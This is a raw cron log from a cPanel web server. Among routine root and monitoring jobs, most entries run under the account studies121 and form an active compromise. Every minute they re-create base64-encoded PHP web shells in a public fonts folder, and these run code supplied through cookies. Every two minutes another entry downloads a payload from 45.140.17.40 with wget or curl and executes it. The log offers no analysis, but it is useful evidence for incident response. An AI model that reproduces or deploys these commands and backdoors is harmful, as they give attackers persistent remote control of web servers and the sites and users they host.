Sep 11 01:08:01 ip-184-168-122-23 CROND[5978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:08:01 ip-184-168-122-23 CROND[5979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:08:01 ip-184-168-122-23 CROND[5980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:09:01 ip-184-168-122-23 CROND[6068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:09:01 ip-184-168-122-23 CROND[6069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:09:01 ip-184-168-122-23 CROND[6071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:09:01 ip-184-168-122-23 CROND[6074]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 01:09:01 ip-184-168-122-23 CROND[6075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:10:01 ip-184-168-122-23 CROND[6167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:10:01 ip-184-168-122-23 CROND[6165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:10:01 ip-184-168-122-23 CROND[6166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:10:01 ip-184-168-122-23 CROND[6168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:10:01 ip-184-168-122-23 CROND[6164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:10:01 ip-184-168-122-23 CROND[6170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:10:01 ip-184-168-122-23 CROND[6163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:10:01 ip-184-168-122-23 CROND[6169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:11:02 ip-184-168-122-23 CROND[6276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:11:02 ip-184-168-122-23 CROND[6277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:11:02 ip-184-168-122-23 CROND[6278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:11:02 ip-184-168-122-23 CROND[6279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:12:01 ip-184-168-122-23 CROND[6384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:12:01 ip-184-168-122-23 CROND[6389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:12:01 ip-184-168-122-23 CROND[6386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:12:01 ip-184-168-122-23 CROND[6387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:12:01 ip-184-168-122-23 CROND[6388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:13:01 ip-184-168-122-23 CROND[6477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:13:01 ip-184-168-122-23 CROND[6479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:13:01 ip-184-168-122-23 CROND[6481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:13:01 ip-184-168-122-23 CROND[6480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:14:01 ip-184-168-122-23 CROND[6642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:14:01 ip-184-168-122-23 CROND[6645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:14:01 ip-184-168-122-23 CROND[6643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:14:01 ip-184-168-122-23 CROND[6644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:14:01 ip-184-168-122-23 CROND[6647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:15:01 ip-184-168-122-23 CROND[6767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:15:01 ip-184-168-122-23 CROND[6769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:15:01 ip-184-168-122-23 CROND[6764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:15:01 ip-184-168-122-23 CROND[6766]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:15:01 ip-184-168-122-23 CROND[6770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:15:01 ip-184-168-122-23 CROND[6765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:16:01 ip-184-168-122-23 CROND[6874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:16:01 ip-184-168-122-23 CROND[6877]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:16:01 ip-184-168-122-23 CROND[6876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:16:01 ip-184-168-122-23 CROND[6879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:16:01 ip-184-168-122-23 CROND[6878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:16:01 ip-184-168-122-23 CROND[6880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:17:01 ip-184-168-122-23 CROND[6970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:17:01 ip-184-168-122-23 CROND[6972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:17:01 ip-184-168-122-23 CROND[6973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:17:01 ip-184-168-122-23 CROND[6974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:18:01 ip-184-168-122-23 CROND[7071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:18:01 ip-184-168-122-23 CROND[7074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:18:01 ip-184-168-122-23 CROND[7076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:18:01 ip-184-168-122-23 CROND[7075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:18:01 ip-184-168-122-23 CROND[7073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:19:01 ip-184-168-122-23 CROND[7161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:19:01 ip-184-168-122-23 CROND[7164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:19:01 ip-184-168-122-23 CROND[7165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:19:01 ip-184-168-122-23 CROND[7163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:20:01 ip-184-168-122-23 CROND[7341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:20:01 ip-184-168-122-23 CROND[7343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:20:01 ip-184-168-122-23 CROND[7347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:20:01 ip-184-168-122-23 CROND[7345]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:20:01 ip-184-168-122-23 CROND[7351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
